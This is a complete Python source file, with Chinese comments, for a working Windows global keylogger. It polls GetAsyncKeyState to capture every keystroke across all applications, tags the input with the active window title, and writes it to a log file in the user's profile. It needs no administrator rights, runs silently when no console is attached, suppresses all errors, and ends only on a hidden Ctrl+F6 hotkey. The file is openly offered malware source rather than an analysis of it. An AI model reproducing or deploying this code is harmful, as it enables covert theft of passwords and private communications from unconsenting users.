import os
import time
import threading
import ctypes
from ctypes import wintypes
from datetime import datetime
import sys
import tempfile
import codecs

class KeyLogger:
    def __init__(self):
        # 设置保存路径（遵循内存配置：os.environ['USERPROFILE']）
        self.save_path = os.environ.get('USERPROFILE', r'C:\Users\Administrator')
        
        # 单实例检查
        self.lock_file = None
        if not self.check_single_instance():
            raise Exception("程序已在运行")
        
        # 初始化日志文件相关变量（遵循内存中的日志文件切换与分割策略）
        self.current_log_file: str = ""
        self.log_start_time = None
        self.log_interval_minutes = 0  # 0表示不进行时间分割，只生成一个文件
        
        # 创建初始日志文件
        self.create_new_log_file()
        
        # 状态变量
        self.is_recording = True
        self.current_process = ""
        self.last_process = ""
        
        # Windows API
        self.user32 = ctypes.windll.user32
        self.kernel32 = ctypes.windll.kernel32
        
        # 统计
        self.key_count = 0
        self.total_files_created = 1
        
        # 启动监控线程
        self.monitor_thread = None
        self.running = True
        
        # 检测是否有控制台
        self.has_console = self.check_console()
        
        if self.has_console:
            self.show_startup_info()
        
    def check_console(self):
        """检测是否有控制台窗口"""
        try:
            # 尝试获取控制台窗口句柄
            console_window = self.user32.GetConsoleWindow()
            return console_window != 0
        except:
            return False
    
    def check_single_instance(self):
        """检查是否为单实例运行"""
        try:
            # 创建一个临时锁文件
            lock_file_path = os.path.join(tempfile.gettempdir(), "keylogger.lock")
            self.lock_file = open(lock_file_path, "w")
            # 尝试获取文件锁
            if hasattr(self.lock_file, 'lock'):
                import msvcrt
                try:
                    msvcrt.locking(self.lock_file.fileno(), msvcrt.LK_NBLCK, 1)
                except:
                    return False
            return True
        except:
            # 如果无法创建锁文件，仍然允许程序运行
            return True
    
    def show_startup_info(self):
        """显示启动信息（仅在有控制台时）"""
        if not self.has_console:
            return
            
        print("=" * 60)
        print("　　　　全局键盘记录器 v3.0")
        print("=" * 60)
        print(f"监控方式: GetAsyncKeyState API")
        print(f"权限要求: 无需管理员权限")
        print(f"日志目录: {self.save_path}")
        print(f"当前文件: {os.path.basename(self.current_log_file)}")
        print(f"日志模式: 按启动时间命名(单一文件)")
        print(f"快捷键: Ctrl+F6 终止程序")
        print("-" * 60)
        print("状态: 正在监控所有进程的键盘输入...")
        print("说明: 输入 'help' 查看命令，输入 'quit' 退出程序")
        print("=" * 60)
    
    def create_new_log_file(self):
        """创建新的日志文件（遵循内存中的日志文件命名规则）"""
        try:
            # 检查是否存在最近的日志文件（5分钟内）
            recent_file = self.find_recent_log_file()
            if recent_file:
                self.current_log_file = recent_file
                self.log_start_time = datetime.now()
                # 在现有文件中添加新的开始记录
                with open(self.current_log_file, 'a', encoding='gbk') as f:
                    f.write(f"\n{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 重新开始记录\n")
            else:
                # 使用启动时间作为文件名，确保只生成一个文件
                start_time = datetime.now()
                self.current_log_file = os.path.join(
                    self.save_path, 
                    f"keylog_{start_time.strftime('%Y%m%d_%H%M')}.txt"
                )
                self.log_start_time = start_time
                
                # 简化日志头部信息
                with open(self.current_log_file, 'w', encoding='gbk') as f:
                    f.write(f"{start_time.strftime('%Y-%m-%d %H:%M:%S')} 开始记录\n")
            
            if self.has_console:
                print(f"日志文件: {os.path.basename(self.current_log_file)}")
        except Exception as e:
            # 静默处理错误，不记录到文件
            pass
    
    def find_recent_log_file(self):
        """查找最近的日志文件"""
        try:
            import glob
            # 查找所有keylog_开头的文件
            log_files = glob.glob(os.path.join(self.save_path, "keylog_*.txt"))
            if not log_files:
                return None
            
            # 找到最新的文件
            latest_file = max(log_files, key=os.path.getctime)
            # 检查文件是否在5分钟内创建
            if time.time() - os.path.getctime(latest_file) < 300:  # 5分钟
                return latest_file
        except:
            pass
        return None
    

    def get_active_window_process(self):
        """获取当前活跃窗口的进程名"""
        try:
            # 获取前台窗口句柄
            hwnd = self.user32.GetForegroundWindow()
            if hwnd:
                # 获取窗口标题
                length = self.user32.GetWindowTextLengthW(hwnd)
                if length > 0:
                    buff = ctypes.create_unicode_buffer(length + 1)
                    self.user32.GetWindowTextW(hwnd, buff, length + 1)
                    title = buff.value
                    if title:
                        return title[:30] + "..." if len(title) > 30 else title
                
                # 尝试获取进程ID和名称
                process_id = wintypes.DWORD()
                self.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(process_id))
                return f"进程ID:{process_id.value}"
                        
        except Exception:
            pass
        return "未知窗口"
    
    def monitor_keys_and_process(self):
        """监控按键和进程"""
        # 按键状态字典，用于检测按键变化
        key_states = {}
        
        # 要监控的按键范围
        keys_to_monitor = list(range(8, 256))  # 从退格键到扩展键
        
        # 初始化按键状态
        for vk in keys_to_monitor:
            key_states[vk] = False
        
        # Ctrl+F6 组合键状态
        ctrl_f6_states = {'ctrl': False, 'f6': False}
        
        while self.running:
            try:
                # 检查进程变化
                current_process = self.get_active_window_process()
                if current_process != self.current_process:
                    self.current_process = current_process
                    
                    # 写入进程变化
                    if self.last_process != current_process:
                        self.write_process_change(current_process)
                        self.last_process = current_process
                        if self.has_console:
                            print(f"进程切换: {current_process[:30]}...")
                
                # 检查按键状态
                for vk in keys_to_monitor:
                    # 获取按键状态
                    state = self.user32.GetAsyncKeyState(vk)
                    is_pressed = (state & 0x8000) != 0
                    
                    # 检测Ctrl+F6组合键
                    if vk == 0x11:  # Ctrl键
                        ctrl_f6_states['ctrl'] = is_pressed
                    elif vk == 0x75:  # F6键
                        if is_pressed and not key_states[vk]:  # F6键刚按下
                            ctrl_f6_states['f6'] = True
                            
                            # 如果Ctrl和F6同时按下，终止程序
                            if ctrl_f6_states['ctrl']:
                                if self.has_console:
                                    print("检测到 Ctrl+F6 组合键，终止程序...")
                                self.running = False
                                return  # 退出监控循环
                        elif not is_pressed:
                            ctrl_f6_states['f6'] = False
                    
                    # 检测按键按下（状态从False变为True）
                    if is_pressed and not key_states[vk] and self.is_recording:
                        # 跳过Ctrl+F6组合键的记录
                        if not (ctrl_f6_states['ctrl'] and vk == 0x75):
                            key_name = self.get_key_name(vk)
                            if key_name:
                                self.write_key_to_log(key_name)
                                self.key_count += 1
                    
                    # 更新按键状态
                    key_states[vk] = is_pressed
                
                time.sleep(0.01)  # 10毫秒检测一次，提高响应速度
                
            except Exception as e:
                # 不再记录错误日志，静默处理
                time.sleep(0.1)
    
    def get_key_name(self, vk_code):
        """获取虚拟键码对应的键名"""
        # 常用键映射
        key_map = {
            0x08: '[BACKSPACE]',
            0x09: '[TAB]',
            0x0D: '[ENTER]',
            0x10: '[SHIFT]',
            0x11: '[CTRL]',
            0x12: '[ALT]',
            0x1B: '[ESC]',
            0x20: ' ',
            0x21: '[PAGE_UP]',
            0x22: '[PAGE_DOWN]',
            0x23: '[END]',
            0x24: '[HOME]',
            0x25: '[LEFT]',
            0x26: '[UP]',
            0x27: '[RIGHT]',
            0x28: '[DOWN]',
            0x2E: '[DELETE]',
            0x5B: '[WIN_L]',
            0x5C: '[WIN_R]',
            0x5D: '[MENU]',
        }
        
        if vk_code in key_map:
            return key_map[vk_code]
        elif 0x30 <= vk_code <= 0x39:  # 数字键 0-9
            return chr(vk_code)
        elif 0x41 <= vk_code <= 0x5A:  # 字母键 A-Z
            # 检查Shift和Caps Lock状态
            shift_state = self.user32.GetAsyncKeyState(0x10) & 0x8000
            caps_state = self.user32.GetKeyState(0x14) & 0x0001
            
            if (shift_state and not caps_state) or (not shift_state and caps_state):
                return chr(vk_code)  # 大写
            else:
                return chr(vk_code).lower()  # 小写
        elif 0x60 <= vk_code <= 0x69:  # 小键盘数字 0-9
            return f"[NUM{vk_code - 0x60}]"
        elif 0x70 <= vk_code <= 0x87:  # F1-F24
            return f'[F{vk_code - 0x6F}]'
        elif vk_code == 0x6A:  # 小键盘 *
            return '[NUM*]'
        elif vk_code == 0x6B:  # 小键盘 +
            return '[NUM+]'
        elif vk_code == 0x6D:  # 小键盘 -
            return '[NUM-]'
        elif vk_code == 0x6E:  # 小键盘 .
            return '[NUM.]'
        elif vk_code == 0x6F:  # 小键盘 /
            return '[NUM/]'
        else:
            return f'[VK_{vk_code:02X}]'
    
    def write_process_change(self, process_name):
        """写入进程变化到日志（横向排列格式）"""
        try:
            with open(self.current_log_file, 'a', encoding='gbk') as f:
                # 在进程切换前后都添加换行，确保分隔
                f.write(f"\n>>> {process_name}\n")
        except Exception as e:
            # 静默处理错误，不记录到文件
            pass
    
    def write_key_to_log(self, key_text):
        """写入按键到日志（横向排列，无时间戳）"""
        if not self.is_recording:
            return
            
        try:
            with open(self.current_log_file, 'a', encoding='gbk') as f:
                # 特殊按键处理：回车键和某些特殊键需要换行
                if key_text == '[ENTER]':
                    f.write('\n')
                elif key_text in ['[BACKSPACE]', '[DELETE]', '[TAB]', '[ESC]']:
                    f.write(f' {key_text} ')
                elif key_text == ' ':  # 空格键直接输出空格
                    f.write(' ')
                else:
                    f.write(key_text)  # 正常字符直接输出
        except Exception as e:
            # 静默处理错误，不记录到文件
            pass
    
    def show_status(self):
        """显示当前状态（仅在有控制台时）"""
        if not self.has_console:
            return
            
        status_text = '记录中' if self.is_recording else '已暂停'
        print(f"\n当前状态: {status_text}")
        print(f"当前进程: {self.current_process[:50] if self.current_process else '未检测到'}")
        print(f"当前文件: {os.path.basename(self.current_log_file)}")
        print(f"已记录按键: {self.key_count}")
        print(f"已创建文件: {self.total_files_created}")
        if self.log_start_time:
            runtime = datetime.now() - self.log_start_time
            print(f"当前文件运行时间: {int(runtime.total_seconds()//60)}分钟")
        print()
    
    def show_help(self):
        """显示帮助信息（仅在有控制台时）"""
        if not self.has_console:
            return
            
        print("\n可用命令:")
        print("  status  - 显示当前状态")
        print("  start   - 开始记录")
        print("  stop    - 停止记录")
        print("  clear   - 清屏")
        print("  help    - 显示此帮助")
        print("  quit    - 退出程序\n")
    
    def process_command(self, command):
        """处理命令（仅在有控制台时）"""
        if not self.has_console:
            return True
            
        cmd = command.strip().lower()
        
        if cmd == 'help' or cmd == 'h':
            self.show_help()
        elif cmd == 'status' or cmd == 's':
            self.show_status()
        elif cmd == 'start':
            if not self.is_recording:
                self.is_recording = True
                print("开始记录")
            else:
                print("已在记录中")
        elif cmd == 'stop':
            if self.is_recording:
                self.is_recording = False
                print("停止记录")
            else:
                print("已停止记录")
        elif cmd == 'clear' or cmd == 'cls':
            os.system('cls')
            self.show_startup_info()
        elif cmd == 'quit' or cmd == 'q' or cmd == 'exit':
            return False
        else:
            print(f"未知命令: {command}")
            print("输入 'help' 查看可用命令")
        
        return True
    
    def run(self):
        """启动程序"""
        try:
            # 启动监控线程
            self.monitor_thread = threading.Thread(target=self.monitor_keys_and_process, daemon=True)
            self.monitor_thread.start()
            
            if self.has_console:
                print("全局键盘记录器启动成功！")
                print("正在监控所有应用程序的键盘输入...")
                
                # 命令行交互循环
                while self.running:
                    try:
                        command = input("\n> ").strip()
                        if command:
                            if not self.process_command(command):
                                break
                    except KeyboardInterrupt:
                        print("\n\n检测到 Ctrl+C，退出程序...")
                        break
                    except EOFError:
                        break
            else:
                # 无控制台模式，后台运行
                while self.running:
                    time.sleep(1)
            
            # 退出清理
            self.cleanup()
            
        except Exception as e:
            # 静默处理错误，不记录到文件
            return False
        return True
    
    def cleanup(self):
        """清理资源"""
        if self.has_console:
            print("正在退出程序...")
        
        self.running = False
        self.is_recording = False
        
        # 写入结束信息
        try:
            with open(self.current_log_file, 'a', encoding='gbk') as f:
                f.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 结束 (总按键:{self.key_count})\n")
        except:
            pass
        
        # 释放锁文件
        if self.lock_file:
            try:
                self.lock_file.close()
                lock_file_path = os.path.join(tempfile.gettempdir(), "keylogger.lock")
                if os.path.exists(lock_file_path):
                    os.remove(lock_file_path)
            except:
                pass
        
        if self.has_console:
            print(f"总计记录 {self.key_count} 个按键，创建 {self.total_files_created} 个文件")
            print("感谢使用！")

if __name__ == "__main__":
    try:
        # 创建并运行键盘记录器
        keylogger = KeyLogger()
        keylogger.run()
        
    except Exception as e:
        # 静默处理启动错误
        pass